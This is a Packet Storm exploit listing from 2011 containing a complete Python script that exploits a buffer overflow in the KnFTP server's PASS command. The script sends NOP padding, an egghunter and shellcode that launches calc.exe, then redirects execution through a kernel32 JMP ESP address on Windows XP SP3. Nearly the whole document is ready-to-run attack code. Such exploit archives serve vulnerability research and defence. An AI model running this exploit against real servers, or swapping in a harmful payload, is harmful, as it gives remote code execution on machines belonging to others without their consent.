KnFTP Server Buffer Overflow

2011-09-12T00:00:00
ID PACKETSTORM:104992
Type packetstorm
Reporter Blake
Modified 2011-09-12T00:00:00

Description

                                        
                                            `#!/usr/bin/python  
# tested on windows xp sp3  
# overwrites EIP  
# seh is overwritten with larger payloads  
# knftpd.exe is the only non safeseh module  
import sys,socket  
  
print "\n====================="  
print "KnFTP Buffer Overflow"  
print " Written by Blake "  
print "=====================\n"  
  
if len(sys.argv) !=3:  
print "[*] Usage: %s <ip> <port>" % sys.argv[0]  
sys.exit(0)  
  
target = sys.argv[1]  
port = int(sys.argv[2])  
  
# 271 bytes of space for shellcode  
# 227 bytes windows/exec CMD => calc.exe  
shellcode =(  
"\xb8\xe8\xaa\x5e\xc0\xdb\xd6\xd9\x74\x24\xf4\x5b\x31\xc9\xb1"  
"\x33\x31\x43\x12\x03\x43\x12\x83\x03\x56\xbc\x35\x2f\x4f\xc8"  
"\xb6\xcf\x90\xab\x3f\x2a\xa1\xf9\x24\x3f\x90\xcd\x2f\x6d\x19"  
"\xa5\x62\x85\xaa\xcb\xaa\xaa\x1b\x61\x8d\x85\x9c\x47\x11\x49"  
"\x5e\xc9\xed\x93\xb3\x29\xcf\x5c\xc6\x28\x08\x80\x29\x78\xc1"  
"\xcf\x98\x6d\x66\x8d\x20\x8f\xa8\x9a\x19\xf7\xcd\x5c\xed\x4d"  
"\xcf\x8c\x5e\xd9\x87\x34\xd4\x85\x37\x45\x39\xd6\x04\x0c\x36"  
"\x2d\xfe\x8f\x9e\x7f\xff\xbe\xde\x2c\x3e\x0f\xd3\x2d\x06\xb7"  
"\x0c\x58\x7c\xc4\xb1\x5b\x47\xb7\x6d\xe9\x5a\x1f\xe5\x49\xbf"  
"\x9e\x2a\x0f\x34\xac\x87\x5b\x12\xb0\x16\x8f\x28\xcc\x93\x2e"  
"\xff\x45\xe7\x14\xdb\x0e\xb3\x35\x7a\xea\x12\x49\x9c\x52\xca"  
"\xef\xd6\x70\x1f\x89\xb4\x1e\xde\x1b\xc3\x67\xe0\x23\xcc\xc7"  
"\x89\x12\x47\x88\xce\xaa\x82\xed\x21\xe1\x8f\x47\xaa\xac\x45"  
"\xda\xb7\x4e\xb0\x18\xce\xcc\x31\xe0\x35\xcc\x33\xe5\x72\x4a"  
"\xaf\x97\xeb\x3f\xcf\x04\x0b\x6a\xac\xcb\x9f\xf6\x1d\x6e\x18"  
"\x9c\x61")  
  
# 32 byte egghunter  
egghunter =(  
"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8"  
"\x54\x30\x30\x57" # egg - W00T  
"\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7")  
  
egg = "\x54\x30\x30\x57\x54\x30\x30\x57"  
buffer = "\x90" * (271 - len(egg + shellcode))  
eip = "\x13\x44\x87\x7c" # 7C874413 JMP ESP - kernel32.dll  
nops = "\x90" * 8  
  
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
print "[+] Connecting to %s on port %d" % (target,port)  
try:  
s.connect((target,port))  
print "[+] Sending payload"  
s.send("USER blake \r\n")  
s.recv(1024)  
s.send("PASS " + buffer + egg + shellcode + eip + nops + egghunter + "\r\n")  
s.recv(1024)  
s.close()  
print "[+] Payload sent successfully"  
raw_input("[+] Press any key to exit\n")  
except:  
print "[+] Could not connect to %s!" % target  
sys.exit(0)  
  
`